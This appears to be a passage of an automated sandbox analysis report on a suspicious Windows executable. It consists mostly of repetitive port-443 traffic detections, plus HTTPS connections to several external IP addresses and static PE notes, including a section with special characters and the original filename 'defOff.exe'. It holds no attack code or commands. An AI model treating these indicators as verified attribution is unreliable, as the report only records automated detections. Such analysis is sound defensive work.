Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.7:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50029 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_05D4E000

0_3_05D4E000

Source: file.exe, 00000000.00000003.1685504868.00000000062D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678568774.00000000061E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680643190.00000000061E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678397030.00000000061E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689141590.00000000061ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678721083.0000000005E42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684719220.00000000063DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678476788.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680826493.0000000006351000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
